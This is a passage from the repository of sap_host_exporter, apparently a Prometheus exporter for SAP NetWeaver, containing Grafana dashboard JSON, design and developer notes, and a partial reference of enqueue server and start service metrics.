"dashLength": 10, 700 | "dashes": false, 701 | "datasource": "${DS_PROMETHEUS}", 702 | "fieldConfig": { 703 | "defaults": { 704 | "custom": {}, 705 | "links": [] 706 | }, 707 | "overrides": [] 708 | }, 709 | "fill": 1, 710 | "fillGradient": 0, 711 | "gridPos": { 712 | "h": 8, 713 | "w": 8, 714 | "x": 0, 715 | "y": 16 716 | }, 717 | "hiddenSeries": false, 718 | "id": 20, 719 | "legend": { 720 | "avg": false, 721 | "current": false, 722 | "max": false, 723 | "min": false, 724 | "show": true, 725 | "total": false, 726 | "values": false 727 | }, 728 | "lines": true, 729 | "linewidth": 1, 730 | "nullPointMode": "null", 731 | "percentage": false, 732 | "pluginVersion": "7.1.5", 733 | "pointradius": 2, 734 | "points": false, 735 | "renderer": "flot", 736 | "seriesOverrides": [], 737 | "spaceLength": 10, 738 | "stack": false, 739 | "steppedLine": false, 740 | "targets": [ 741 | { 742 | "expr": "sap_enqueue_server_locks_now", 743 | "legendFormat": "Locks", 744 | "refId": "A" 745 | }, 746 | { 747 | "expr": "sap_enqueue_server_owner_now", 748 | "legendFormat": "Lock owners", 749 | "refId": "C" 750 | }, 751 | { 752 | "expr": "sap_enqueue_server_arguments_now", 753 | "legendFormat": "Lock arguments", 754 | "refId": "B" 755 | } 756 | ], 757 | "thresholds": [], 758 | "timeFrom": null, 759 | "timeRegions": [], 760 | "timeShift": null, 761 | "title": "Lock Table Entries", 762 | "tooltip": { 763 | "shared": true, 764 | "sort": 0, 765 | "value_type": "individual" 766 | }, 767 | "type": "graph", 768 | "xaxis": { 769 | "buckets": null, 770 | "mode": "time", 771 | "name": null, 772 | "show": true, 773 | "values": [] 774 | }, 775 | "yaxes": [ 776 | { 777 | "decimals": 0, 778 | "format": "short", 779 | "label": null, 780 | "logBase": 1, 781 | "max": null, 782 | "min": "0", 783 | "show": true 784 | }, 785 | { 786 | "decimals": 0, 787 | "format": "short", 788 | "label": null, 789 | "logBase": 1, 790 | "max": null, 791 | "min": "0", 792 | "show": true 793 | } 794 | ], 795 | "yaxis": { 796 | "align": false, 797 | "alignLevel": null 798 | } 799 | }, 800 | { 801 | "aliasColors": {}, 802 | "bars": false, 803 | "dashLength": 10, 804 | "dashes": false, 805 | "datasource": "${DS_PROMETHEUS}", 806 | "fieldConfig": { 807 | "defaults": { 808 | "custom": {}, 809 | "links": [] 810 | }, 811 | "overrides": [] 812 | }, 813 | "fill": 1, 814 | "fillGradient": 0, 815 | "gridPos": { 816 | "h": 8, 817 | "w": 8, 818 | "x": 8, 819 | "y": 16 820 | }, 821 | "hiddenSeries": false, 822 | "id": 24, 823 | "interval": "", 824 | "legend": { 825 | "avg": false, 826 | "current": false, 827 | "max": false, 828 | "min": false, 829 | "show": true, 830 | "total": false, 831 | "values": false 832 | }, 833 | "lines": true, 834 | "linewidth": 1, 835 | "nullPointMode": "null", 836 | "percentage": false, 837 | "pluginVersion": "7.1.5", 838 | "pointradius": 2, 839 | "points": false, 840 | "renderer": "flot", 841 | "seriesOverrides": [], 842 | "spaceLength": 10, 843 | "stack": false, 844 | "steppedLine": false, 845 | "targets": [ 846 | { 847 | "expr": "rate(sap_enqueue_server_enqueue_requests[5m])", 848 | "legendFormat": "Lock", 849 | "refId": "A" 850 | }, 851 | { 852 | "expr": "rate(sap_enqueue_server_enqueue_rejects[5m])", 853 | "legendFormat": "Rejected", 854 | "refId": "B" 855 | }, 856 | { 857 | "expr": "rate(sap_enqueue_server_dequeue_requests[5m])", 858 | "legendFormat": "Release", 859 | "refId": "C" 860 | }, 861 | { 862 | "expr": "rate(sap_enqueue_server_dequeue_all_requests[5m])", 863 | "legendFormat": "LUW release", 864 | "refId": "D" 865 | }, 866 | { 867 | "expr": "rate(sap_enqueue_server_cleanup_requests[5m])", 868 | "legendFormat": "Server release", 869 | "refId": "E" 870 | } 871 | ], 872 | "thresholds": [], 873 | "timeFrom": null, 874 | "timeRegions": [], 875 | "timeShift": null, 876 | "title": "Requests / sec", 877 | "tooltip": { 878 | "shared": true, 879 | "sort": 0, 880 | "value_type": "individual" 881 | }, 882 | "type": "graph", 883 | "xaxis": { 884 | "buckets": null, 885 | "mode": "time", 886 | "name": null, 887 | "show": true, 888 | "values": [] 889 | }, 890 | "yaxes": [ 891 | { 892 | "decimals": null, 893 | "format": "short", 894 | "label": null, 895 | "logBase": 1, 896 | "max": null, 897 | "min": "0", 898 | "show": true 899 | }, 900 | { 901 | "decimals": null, 902 | "format": "short", 903 | "label": null, 904 | "logBase": 1, 905 | "max": null, 906 | "min": "0", 907 | "show": true 908 | } 909 | ], 910 | "yaxis": { 911 | "align": false, 912 | "alignLevel": null 913 | } 914 | }, 915 | { 916 | "aliasColors": { 917 | "Lock": "dark-red", 918 | "Release": "semi-dark-red" 919 | }, 920 | "bars": false, 921 | "dashLength": 10, 922 | "dashes": false, 923 | "datasource": "${DS_PROMETHEUS}", 924 | "fieldConfig": { 925 | "defaults": { 926 | "custom": {}, 927 | "links": [] 928 | }, 929 | "overrides": [] 930 | }, 931 | "fill": 1, 932 | "fillGradient": 0, 933 | "gridPos": { 934 | "h": 8, 935 | "w": 8, 936 | "x": 16, 937 | "y": 16 938 | }, 939 | "hiddenSeries": false, 940 | "id": 26, 941 | "legend": { 942 | "avg": false, 943 | "current": false, 944 | "max": false, 945 | "min": false, 946 | "show": true, 947 | "total": false, 948 | "values": false 949 | }, 950 | "lines": true, 951 | "linewidth": 1, 952 | "nullPointMode": "null", 953 | "percentage": false, 954 | "pluginVersion": "7.1.5", 955 | "pointradius": 2, 956 | "points": false, 957 | "renderer": "flot", 958 | "seriesOverrides": [], 959 | "spaceLength": 10, 960 | "stack": false, 961 | "steppedLine": false, 962 | "targets": [ 963 | { 964 | "expr": "rate(sap_enqueue_server_enqueue_errors[5m])", 965 | "legendFormat": "Lock", 966 | "refId": "A" 967 | }, 968 | { 969 | "expr": "rate(sap_enqueue_server_dequeue_errors[5m])", 970 | "legendFormat": "Release", 971 | "refId": "B" 972 | } 973 | ], 974 | "thresholds": [], 975 | "timeFrom": null, 976 | "timeRegions": [], 977 | "timeShift": null, 978 | "title": "Errors / sec", 979 | "tooltip": { 980 | "shared": true, 981 | "sort": 0, 982 | "value_type": "individual" 983 | }, 984 | "type": "graph", 985 | "xaxis": { 986 | "buckets": null, 987 | "mode": "time", 988 | "name": null, 989 | "show": true, 990 | "values": [] 991 | }, 992 | "yaxes": [ 993 | { 994 | "decimals": null, 995 | "format": "short", 996 | "label": null, 997 | "logBase": 1, 998 | "max": null, 999 | "min": "0", 1000 | "show": true 1001 | }, 1002 | { 1003 | "decimals": null, 1004 | "format": "short", 1005 | "label": null, 1006 | "logBase": 1, 1007 | "max": null, 1008 | "min": "0", 1009 | "show": true 1010 | } 1011 | ], 1012 | "yaxis": { 1013 | "align": false, 1014 | "alignLevel": null 1015 | } 1016 | }, 1017 | { 1018 | "collapsed": false, 1019 | "datasource": "${DS_PROMETHEUS}", 1020 | "gridPos": { 1021 | "h": 1, 1022 | "w": 24, 1023 | "x": 0, 1024 | "y": 24 1025 | }, 1026 | "id": 12, 1027 | "panels": [], 1028 | "title": "Work Process Dispatcher", 1029 | "type": "row" 1030 | }, 1031 | { 1032 | "aliasColors": {}, 1033 | "bars": false, 1034 | "dashLength": 10, 1035 | "dashes": false, 1036 | "datasource": "${DS_PROMETHEUS}", 1037 | "fieldConfig": { 1038 | "defaults": { 1039 | "custom": {}, 1040 | "links": [] 1041 | }, 1042 | "overrides": [] 1043 | }, 1044 | "fill": 1, 1045 | "fillGradient": 0, 1046 | "gridPos": { 1047 | "h": 5, 1048 | "w": 8, 1049 | "x": 0, 1050 | "y": 25 1051 | }, 1052 | "hiddenSeries": false, 1053 | "id": 14, 1054 | "legend": { 1055 | "avg": false, 1056 | "current": false, 1057 | "max": false, 1058 | "min": false, 1059 | "show": false, 1060 | "total": false, 1061 | "values": false 1062 | }, 1063 | "lines": true, 1064 | "linewidth": 1, 1065 | "nullPointMode": "null", 1066 | "percentage": false, 1067 | "pluginVersion": "7.1.5", 1068 | "pointradius": 2, 1069 | "points": false, 1070 | "renderer": "flot", 1071 | "seriesOverrides": [], 1072 | "spaceLength": 10, 1073 | "stack": false, 1074 | "steppedLine": false, 1075 | "targets": [ 1076 | { 1077 | "expr": "sap_dispatcher_queue_now", 1078 | "legendFormat": "{{type}} {{instance_name}}", 1079 | "refId": "A" 1080 | } 1081 | ], 1082 | "thresholds": [], 1083 | "timeFrom": null, 1084 | "timeRegions": [], 1085 | "timeShift": null, 1086 | "title": "Dispatcher Queue Depth", 1087 | "tooltip": { 1088 | "shared": true, 1089 | "sort": 0, 1090 | "value_type": "individual" 1091 | }, 1092 | "type": "graph", 1093 | "xaxis": { 1094 | "buckets": null, 1095 | "mode": "time", 1096 | "name": null, 1097 | "show": true, 1098 | "values": [] 1099 | }, 1100 | "yaxes": [ 1101 | { 1102 | "decimals": 0, 1103 | "format": "short", 1104 | "label": null, 1105 | "logBase": 1, 1106 | "max": null, 1107 | "min": "0", 1108 | "show": true 1109 | }, 1110 | { 1111 | "decimals": 0, 1112 | "format": "short", 1113 | "label": null, 1114 | "logBase": 1, 1115 | "max": null, 1116 | "min": "0", 1117 | "show": true 1118 | } 1119 | ], 1120 | "yaxis": { 1121 | "align": false, 1122 | "alignLevel": null 1123 | } 1124 | }, 1125 | { 1126 | "datasource": "${DS_PROMETHEUS}", 1127 | "fieldConfig": { 1128 | "defaults": { 1129 | "color": { 1130 | "mode": "thresholds" 1131 | }, 1132 | "custom": {}, 1133 | "mappings": [], 1134 | "min": 0, 1135 | "thresholds": { 1136 | "mode": "absolute", 1137 | "steps": [ 1138 | { 1139 | "color": "green", 1140 | "value": null 1141 | }, 1142 | { 1143 | "color": "yellow", 1144 | "value": 40 1145 | }, 1146 | { 1147 | "color": "red", 1148 | "value": 100 1149 | } 1150 | ] 1151 | } 1152 | }, 1153 | "overrides": [] 1154 | }, 1155 | "gridPos": { 1156 | "h": 15, 1157 | "w": 8, 1158 | "x": 8, 1159 | "y": 25 1160 | }, 1161 | "id": 18, 1162 | "options": { 1163 | "displayMode": "basic", 1164 | "orientation": "horizontal", 1165 | "reduceOptions": { 1166 | "calcs": [ 1167 | "last" 1168 | ], 1169 | "fields": "", 1170 | "values": true 1171 | }, 1172 | "showUnfilled": true 1173 | }, 1174 | "pluginVersion": "7.1.5", 1175 | "targets": [ 1176 | { 1177 | "expr": "sap_dispatcher_queue_high", 1178 | "instant": true, 1179 | "legendFormat": "{{type}} {{instance_name}}", 1180 | "refId": "A" 1181 | } 1182 | ], 1183 | "timeFrom": null, 1184 | "timeShift": null, 1185 | "title": "Dispatcher Queue Depth High", 1186 | "type": "bargauge" 1187 | }, 1188 | { 1189 | "cacheTimeout": null, 1190 | "datasource": "${DS_PROMETHEUS}", 1191 | "fieldConfig": { 1192 | "defaults": { 1193 | "color": { 1194 | "mode": "thresholds" 1195 | }, 1196 | "custom": {}, 1197 | "decimals": 0, 1198 | "mappings": [], 1199 | "max": 15000, 1200 | "min": 0, 1201 | "thresholds": { 1202 | "mode": "absolute", 1203 | "steps": [ 1204 | { 1205 | "color": "green", 1206 | "value": null 1207 | }, 1208 | { 1209 | "color": "green", 1210 | "value": 5000 1211 | } 1212 | ] 1213 | }, 1214 | "unit": "short" 1215 | }, 1216 | "overrides": [] 1217 | }, 1218 | "gridPos": { 1219 | "h": 15, 1220 | "w": 8, 1221 | "x": 16, 1222 | "y": 25 1223 | }, 1224 | "id": 16, 1225 | "links": [], 1226 | "options": { 1227 | "displayMode": "basic", 1228 | "orientation": "horizontal", 1229 | "reduceOptions": { 1230 | "calcs": [ 1231 | "lastNotNull" 1232 | ], 1233 | "fields": "", 1234 | "values": true 1235 | }, 1236 | "showUnfilled": true 1237 | }, 1238 | "pluginVersion": "7.1.5", 1239 | "targets": [ 1240 | { 1241 | "expr": "sap_dispatcher_queue_max", 1242 | "instant": true, 1243 | "legendFormat": "{{type}} {{instance_name}}", 1244 | "refId": "A" 1245 | } 1246 | ], 1247 | "timeFrom": null, 1248 | "timeShift": null, 1249 | "title": "Dispatcher Queue Depth Threshold", 1250 | "type": "bargauge" 1251 | }, 1252 | { 1253 | "aliasColors": {}, 1254 | "bars": false, 1255 | "dashLength": 10, 1256 | "dashes": false, 1257 | "datasource": "${DS_PROMETHEUS}", 1258 | "fieldConfig": { 1259 | "defaults": { 1260 | "custom": {}, 1261 | "links": [] 1262 | }, 1263 | "overrides": [] 1264 | }, 1265 | "fill": 1, 1266 | "fillGradient": 0, 1267 | "gridPos": { 1268 | "h": 5, 1269 | "w": 8, 1270 | "x": 0, 1271 | "y": 30 1272 | }, 1273 | "hiddenSeries": false, 1274 | "id": 6, 1275 | "legend": { 1276 | "avg": false, 1277 | "current": false, 1278 | "max": false, 1279 | "min": false, 1280 | "show": false, 1281 | "total": false, 1282 | "values": false 1283 | }, 1284 | "lines": true, 1285 | "linewidth": 1, 1286 | "nullPointMode": "null", 1287 | "percentage": false, 1288 | "pluginVersion": "7.1.5", 1289 | "pointradius": 2, 1290 | "points": false, 1291 | "renderer": "flot", 1292 | "seriesOverrides": [], 1293 | "spaceLength": 10, 1294 | "stack": false, 1295 | "steppedLine": false, 1296 | "targets": [ 1297 | { 1298 | "expr": "rate(sap_dispatcher_queue_reads[5m])", 1299 | "legendFormat": "{{type}} {{instance_name}}", 1300 | "refId": "A" 1301 | } 1302 | ], 1303 | "thresholds": [], 1304 | "timeFrom": null, 1305 | "timeRegions": [], 1306 | "timeShift": null, 1307 | "title": "Dispatcher Queues Reads / sec", 1308 | "tooltip": { 1309 | "shared": true, 1310 | "sort": 0, 1311 | "value_type": "individual" 1312 | }, 1313 | "type": "graph", 1314 | "xaxis": { 1315 | "buckets": null, 1316 | "mode": "time", 1317 | "name": null, 1318 | "show": true, 1319 | "values": [] 1320 | }, 1321 | "yaxes": [ 1322 | { 1323 | "format": "short", 1324 | "label": null, 1325 | "logBase": 1, 1326 | "max": null, 1327 | "min": null, 1328 | "show": true 1329 | }, 1330 | { 1331 | "format": "short", 1332 | "label": null, 1333 | "logBase": 1, 1334 | "max": null, 1335 | "min": null, 1336 | "show": true 1337 | } 1338 | ], 1339 | "yaxis": { 1340 | "align": false, 1341 | "alignLevel": null 1342 | } 1343 | }, 1344 | { 1345 | "aliasColors": {}, 1346 | "bars": false, 1347 | "dashLength": 10, 1348 | "dashes": false, 1349 | "datasource": "${DS_PROMETHEUS}", 1350 | "fieldConfig": { 1351 | "defaults": { 1352 | "custom": {}, 1353 | "links": [] 1354 | }, 1355 | "overrides": [] 1356 | }, 1357 | "fill": 1, 1358 | "fillGradient": 0, 1359 | "gridPos": { 1360 | "h": 5, 1361 | "w": 8, 1362 | "x": 0, 1363 | "y": 35 1364 | }, 1365 | "id": 8, 1366 | "legend": { 1367 | "avg": false, 1368 | "current": false, 1369 | "max": false, 1370 | "min": false, 1371 | "show": false, 1372 | "total": false, 1373 | "values": false 1374 | }, 1375 | "lines": true, 1376 | "linewidth": 1, 1377 | "nullPointMode": "null", 1378 | "percentage": false, 1379 | "pluginVersion": "7.1.5", 1380 | "pointradius": 2, 1381 | "points": false, 1382 | "renderer": "flot", 1383 | "seriesOverrides": [], 1384 | "spaceLength": 10, 1385 | "stack": false, 1386 | "steppedLine": false, 1387 | "targets": [ 1388 | { 1389 | "expr": "rate(sap_dispatcher_queue_writes[5m])", 1390 | "legendFormat": "{{type}} {{instance_name}}", 1391 | "refId": "A" 1392 | } 1393 | ], 1394 | "thresholds": [], 1395 | "timeFrom": null, 1396 | "timeRegions": [], 1397 | "timeShift": null, 1398 | "title": "Dispatcher Queue Writes / sec", 1399 | "tooltip": { 1400 | "shared": true, 1401 | "sort": 0, 1402 | "value_type": "individual" 1403 | }, 1404 | "type": "graph", 1405 | "xaxis": { 1406 | "buckets": null, 1407 | "mode": "time", 1408 | "name": null, 1409 | "show": true, 1410 | "values": [] 1411 | }, 1412 | "yaxes": [ 1413 | { 1414 | "format": "short", 1415 | "label": null, 1416 | "logBase": 1, 1417 | "max": null, 1418 | "min": null, 1419 | "show": true 1420 | }, 1421 | { 1422 | "format": "short", 1423 | "label": null, 1424 | "logBase": 1, 1425 | "max": null, 1426 | "min": null, 1427 | "show": true 1428 | } 1429 | ], 1430 | "yaxis": { 1431 | "align": false, 1432 | "alignLevel": null 1433 | } 1434 | } 1435 | ], 1436 | "refresh": false, 1437 | "schemaVersion": 26, 1438 | "style": "dark", 1439 | "tags": [], 1440 | "templating": { 1441 | "list": [ 1442 | { 1443 | "current": { 1444 | "selected": false, 1445 | "text": "Prometheus", 1446 | "value": "Prometheus" 1447 | }, 1448 | "hide": 2, 1449 | "includeAll": false, 1450 | "label": "Data Source", 1451 | "multi": false, 1452 | "name": "DS_PROMETHEUS", 1453 | "options": [], 1454 | "query": "prometheus", 1455 | "refresh": 1, 1456 | "regex": "", 1457 | "skipUrlSync": false, 1458 | "type": "datasource" 1459 | } 1460 | ] 1461 | }, 1462 | "time": { 1463 | "from": "now-1h", 1464 | "to": "now" 1465 | }, 1466 | "timepicker": { 1467 | "refresh_intervals": [ 1468 | "10s", 1469 | "30s", 1470 | "1m", 1471 | "5m", 1472 | "15m", 1473 | "30m", 1474 | "1h", 1475 | "2h", 1476 | "1d" 1477 | ] 1478 | }, 1479 | "timezone": "", 1480 | "title": "SAP NetWeaver", 1481 | "uid": "lLLUAU_Wk", 1482 | "version": 2 1483 | } 1484 | -------------------------------------------------------------------------------- /dashboards/screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/writhingretr/sap_host_exporter/259fc7ef6edac05c61472264922728084ca4fb40/dashboards/screenshot.png -------------------------------------------------------------------------------- /doc/design.md: -------------------------------------------------------------------------------- 1 | # Design Notes 2 | 3 | This document describes the rationale behind design decisions taken during the development of this project. 4 | 5 | ## Goals 6 | 7 | - Export runtime statistics about the various SAP cluster components from existing data sources, to be consumed by a Prometheus monitoring stack. 8 | 9 | ## Non-goals 10 | 11 | - Maintain an internal, consistent, persisting representation of the cluster state; since the original source of truth is distributed, we want to avoid the complexity of a stateful middleware. 12 | 13 | 14 | ## Structure 15 | 16 | The project consist in a small HTTP application that exposes runtime data in a line protocol. 17 | 18 | A series of "metric collectors" are consumed by the main application entry point, [`main.go`](../main.go), where they are registered with the Prometheus client and then exposed via its HTTP handler. 19 | 20 | Concurrency is handled internally by a worker pool provided by the Prometheus library, but this implementation detail is completely obfuscated to the consumers. 21 | 22 | The data sources are read every time an HTTP request comes, and the collected metrics are not shared: their lifecycle corresponds with the request's. 23 | 24 | The `internal` package contains common code shared among all the other packages, but not intended for usage outside this projects. 25 | 26 | ## Collectors 27 | 28 | Inside the `collector` package, you wil find the code of the main logic of the project: these are a number of [`prometheus.Collector`](https://github.com/prometheus/client_golang/blob/b25ce2693a6de99c3ea1a1471cd8f873301a452f/prometheus/collector.go#L16-L63) implementations, one for each cluster component (that we'll call _subsystems_), like the Start Service or the Enqueue Server. 29 | 30 | Common functionality is provided by composing the [`DefaultCollector`](../collector/default_collector.go). 31 | 32 | Each subsystem collector has a dedicated package; some are very simple, some are little more nuanced. 33 | 34 | The collectors usually consume a SOAP web service called SAPControl and the retrieved data is then used to build the Prometheus metrics. 35 | 36 | More details about the metrics themselves can be found in the [metrics](metrics.md) document. 37 | -------------------------------------------------------------------------------- /doc/development.md: -------------------------------------------------------------------------------- 1 | # Developer notes 2 | 3 | 1. [Makefile](#makefile) 4 | 2. [Generated Code](#generated-code) 5 | 3. [OBS packaging](#obs-packaging) 6 | 4. [SAP learning material](#sap-learning-material) 7 | 8 | 9 | ## Makefile 10 | 11 | Most development tasks can be accomplished via [make](../Makefile). 12 | 13 | For starters, you can run the default target with just `make`. 14 | 15 | The default target will clean, analyse, test and build the amd64 binary into the `build/bin` directory. 16 | 17 | You can also cross-compile to the various architectures we support with `make build-all`. 18 | 19 | 20 | ## Generated code 21 | 22 | Some of the code used in this repository is automatically generated. 23 | 24 | You can use the `make generate` target (which in turn runs `go generate`) to update generated code by taking advantage of the `//go:generate` annotation in the code. 25 | 26 | ### Mocks 27 | 28 | We generate the mocks with the [GoMock](https://github.com/golang/mock) library. 29 | 30 | All the mocked packages should follow the same convention and be put in the corresponding `mock_*` package inside the `test` directory. 31 | 32 | Only public interfaces should need to be mocked. 33 | 34 | ### SAPControl web service 35 | 36 | The for the [SAPControl web service](lib/sapcontrol/soap_wsdl.go), we generated the basic structure with [hooklift/gowsdl](https://github.com/hooklift/gowsdl), then extracted and adapted only the parts of the web service that we actually need. 37 | 38 | For reference, you can find the full, generated, web service code [here](_generated_soap_wsdl.go), but bear in mind that we don't intend to use its generated code as it is. As such, note that this file is not covered by the `make generate` target. 39 | 40 | 41 | ## OBS Packaging 42 | 43 | The CI will automatically publish GitHub releases to SUSE's Open Build Service: to perform a new release, just publish a new GH release. Tags must always follow the [SemVer](https://semver.org/) scheme. 44 | 45 | If you wish to produce an OBS working directory locally, having configured [`osc`](https://en.opensuse.org/openSUSE:OSC) already, you can run: 46 | ``` 47 | make obs-workdir 48 | ``` 49 | This will checkout the OBS project and prepare a new OBS commit in the `build/obs` directory. 50 | 51 | You can use the `OSB_PROJECT`, `REPOSITORY`, `VERSION` and `REVISION` environment variables to change the behaviour of OBS-related make targets. 52 | 53 | By default, the current Git working directory is used to infer the values of `VERSION` and `REVISION`, which are used by OBS source services to generate a compressed archive of the sources. 54 | 55 | For example, if you were on a feature branch of your own fork, you may want to change these variables, so: 56 | ```bash 57 | git checkout feature/xyz 58 | git push johndoe feature/xyz # don't forget to push changes your own fork remote 59 | export OBS_PROJECT=home:JohnDoe 60 | export REPOSITORY=johndoe/sap_host_exporter 61 | make exporter-obs-workdir 62 | ``` 63 | will prepare to commit on OBS into `home:JohnDoe/sap_host_exporter` by checking out the branch `feature/yxz` from `github.com/johndoe/sap_host_exporter`. 64 | 65 | At last, to actually perform the commit into OBS, run: 66 | ```bash 67 | make exporter-obs-commit 68 | ``` 69 | 70 | Note that that actual continuously deployed releases also involve an intermediate step that updates the changelog automatically with the markdown text of the GitHub release. 71 | 72 | 73 | ## SAP learning material 74 | 75 | This section will provide some initial pointers to understand the documentation material behind SAP NetWeaver. 76 | 77 | Since we don't control the sources, some small changes may be introduced in the future, and the links might stop working; please feel free to submit a PR in case the documentation becomes outdated. 78 | 79 | ### Exploring the SAPControl web service 80 | 81 | You can find the full SAPControl official documentation [here](https://www.sap.com/documents/2016/09/0a40e60d-8b7c-0010-82c7-eda71af511fa.html). 82 | 83 | In order to learn the SOAP interface, you can use the following Python script (an example and adapted extracted from the previous link): 84 | 85 | ```python 86 | #!/usr/bin/python3 87 | 88 | from suds.client import Client 89 | # Create proxy from WSDL 90 | SAP_URL = 'http://host:port?wsdl' 91 | client = Client(SAP_URL) 92 | # Call unprotected webmethod with complex output 93 | print("Get process list \n") 94 | 95 | result = client.service.GetProcessList() 96 | print(result) 97 | print("PID of First process: \n") 98 | # Access output data 99 | print('PID:', result[0][0].pid) 100 | ``` 101 | -------------------------------------------------------------------------------- /doc/metrics.md: -------------------------------------------------------------------------------- 1 | # Metrics 2 | 3 | This document describes the metrics exposed by `sap_host_exporter`. 4 | 5 | General notes: 6 | - All the metrics are _namespaced_ with the prefix `sap`, which is followed by a _subsystem_, and both are in turn composed into a _Fully Qualified Name_ (FQN) of each metrics. 7 | - All the metrics and labels _names_ are in snake_case, as conventional with Prometheus. That said, as much as we'll try to keep this consistent throughout the project, the label _values_ may not actually follow this convention, though (e.g. label is a hostname). 8 | 9 | ### Subsystems 10 | 11 | These are the currently implemented subsystems. 12 | 13 | 1. [SAP Start Service](#sap-start-service) 14 | 2. [SAP Enqueue Server](#sap-enqueue-server) 15 | 16 | ### Appendix 17 | 18 | 1. [SAP State colors](#sap-state-colors) 19 | 2. [Common labels](#common-labels) 20 | 21 | 22 | ## SAP Start Service 23 | 24 | The Start Service subsystem collects generic host-related metrics. 25 | 26 | 1. [`sap_start_service_instances`](#sap_start_service_instances) 27 | 2. [`sap_start_service_processes`](#sap_start_service_processes) 28 | 29 | ### `sap_start_service_instances` 30 | 31 | The SAP instances in the context of the whole SAP system. 32 | 33 | The value of this metric follows the [SAP state colors](#sap-state-colors) convention. 34 | 35 | #### Labels 36 | 37 | - `start_priority`: the instance start priority 38 | - `features`: a pipe-separated (`|`) list of features running in the instance 39 | e.g. `ABAP|GATEWAY|ICMAN|IGS` 40 | 41 | #### Examples 42 | 43 | ``` 44 | # TYPE sap_start_service_instances gauge 45 | sap_start_service_instances{features="MESSAGESERVER|ENQUE",hostname="sapha1as",instance_number="0",start_priority="1"} 2 46 | sap_start_service_instances{features="ENQREP",hostname="sapha1er",instance_number="10",start_priority="0.5"} 2 47 | sap_start_service_instances{features="ABAP|GATEWAY|ICMAN|IGS",hostname="sapha1pas",instance_number="1",start_priority="3"} 2 48 | sap_start_service_instances{features="ABAP|GATEWAY|ICMAN|IGS",hostname="sapha1aas",instance_number="2",start_priority="3"} 2 49 | ``` 50 | 51 | ### `sap_start_service_processes` 52 | 53 | The processes started by the SAP Start Service. 54 | 55 | The value of this metric follows the [SAP state colors](#sap-state-colors) convention. 56 | 57 | #### Labels 58 | 59 | - `name`: the name of the process. 60 | - `pid`: the PID of the process. 61 | - `status`: a textual status of the process, e.g. `Running` 62 | 63 | The total number of lines for this metric will be the cardinality of `pid`. 64 | 65 | #### Example 66 | 67 | ``` 68 | # TYPE sap_start_service_processes gauge 69 | sap_start_service_processes{name="enserver",pid="30787",status="Stopping"} 3 70 | sap_start_service_processes{name="msg_server",pid="30786",status="Running"} 2 71 | ``` 72 | 73 | 74 | ## SAP Enqueue Server 75 | 76 | The Enqueue Server (also known as the lock server) is the SAP system component that manages the lock table. 77 | 78 | 01. [`sap_enqueue_server_arguments_high`](#sap_enqueue_server_arguments_high) 79 | 02. [`sap_enqueue_server_arguments_max`](#sap_enqueue_server_arguments_max) 80 | 03. [`sap_enqueue_server_arguments_now`](#sap_enqueue_server_arguments_now) 81 | 04. [`sap_enqueue_server_arguments_state`](#sap_enqueue_server_arguments_state) 82 | 05. [`sap_enqueue_server_backup_requests`](#sap_enqueue_server_backup_requests) 83 | 06. [`sap_enqueue_server_cleanup_requests`](#sap_enqueue_server_cleanup_requests) 84 | 07. [`sap_enqueue_server_dequeue_all_requests`](#sap_enqueue_server_dequeue_all_requests) 85 | 08. [`sap_enqueue_server_dequeue_errors`](#sap_enqueue_server_dequeue_errors) 86 | 09. [`sap_enqueue_server_dequeue_requests`](#sap_enqueue_server_dequeue_requests) 87 | 10. [`sap_enqueue_server_enqueue_errors`](#sap_enqueue_server_enqueue_errors) 88 | 11. [`sap_enqueue_server_enqueue_rejects`](#sap_enqueue_server_enqueue_rejects) 89 | 12. [`sap_enqueue_server_enqueue_requests`](#sap_enqueue_server_enqueue_requests) 90 | 13. [`sap_enqueue_server_lock_time`](#sap_enqueue_server_lock_time) 91 | 14. [`sap_enqueue_server_lock_wait_time`](#sap_enqueue_server_lock_wait_time) 92 | 15. [`sap_enqueue_server_locks_high`](#sap_enqueue_server_locks_high) 93 | 16. [`sap_enqueue_server_locks_max`](#sap_enqueue_server_locks_max) 94 | 17. [`sap_enqueue_server_locks_now`](#sap_enqueue_server_locks_now) 95 | 18. [`sap_enqueue_server_locks_state`](#sap_enqueue_server_locks_state) 96 | 19. [`sap_enqueue_server_owner_high`](#sap_enqueue_server_owner_high) 97 | 20. [`sap_enqueue_server_owner_max`](#sap_enqueue_server_owner_max) 98 | 21. [`sap_enqueue_server_owner_now`](#sap_enqueue_server_owner_now) 99 | 22. [`sap_enqueue_server_owner_state`](#sap_enqueue_server_owner_state) 100 | 23. [`sap_enqueue_server_replication_state`](#sap_enqueue_server_replication_state) 101 | 24. [`sap_enqueue_server_reporting_requests`](#sap_enqueue_server_reporting_requests) 102 | 25. [`sap_enqueue_server_server_time`](#sap_enqueue_server_server_time) 103 | 104 | ### `sap_enqueue_server_arguments_high` 105 | 106 | Peak number of different lock arguments that have been stored simultaneously in the lock table. 107 | 108 | #### Example 109 | 110 | ``` 111 | # TYPE sap_enqueue_server_arguments_high counter 112 | sap_enqueue_server_arguments_high 104 113 | ``` 114 | 115 | ### `sap_enqueue_server_arguments_max` 116 | 117 | Maximum number of lock arguments that can be stored in the lock table. 118 | 119 | #### Example 120 | 121 | ``` 122 | # TYPE sap_enqueue_server_arguments_max counter 123 | sap_enqueue_server_arguments_max 56415 124 | ``` 125 | 126 | ### `sap_enqueue_server_arguments_now` 127 | 128 | Current number of lock arguments in the lock table. 129 | 130 | #### Example 131 | 132 | ``` 133 | # TYPE sap_enqueue_server_arguments_now gauge 134 | sap_enqueue_server_arguments_now 0 135 | ``` 136 | 137 | ### `sap_enqueue_server_arguments_state` 138 | 139 | General state of lock arguments. 140 | 141 | Refer to the [appendix](#sap-state-colors) to know more about the possible values of this metric. 142 | 143 | #### Example 144 | 145 | ``` 146 | # TYPE sap_enqueue_server_arguments_state gauge 147 | sap_enqueue_server_arguments_state 2 148 | ``` 149 | 150 | ### `sap_enqueue_server_backup_requests` 151 | 152 | Number of requests forwarded to the update process. 153 | 154 | #### Example 155 | 156 | ``` 157 | # TYPE sap_enqueue_server_backup_requests counter 158 | sap_enqueue_server_backup_requests 0 159 | ``` 160 | 161 | ### `sap_enqueue_server_cleanup_requests` 162 | 163 | Requests to release of all the locks of an application server. 164 | 165 | #### Example 166 | 167 | ``` 168 | # TYPE sap_enqueue_server_cleanup_requests counter 169 | sap_enqueue_server_cleanup_requests 4 170 | ``` 171 | 172 | ### `sap_enqueue_server_dequeue_all_requests` 173 | 174 | Requests to release of all the locks of an LUW. 175 | 176 | #### Example 177 | 178 | ``` 179 | # TYPE 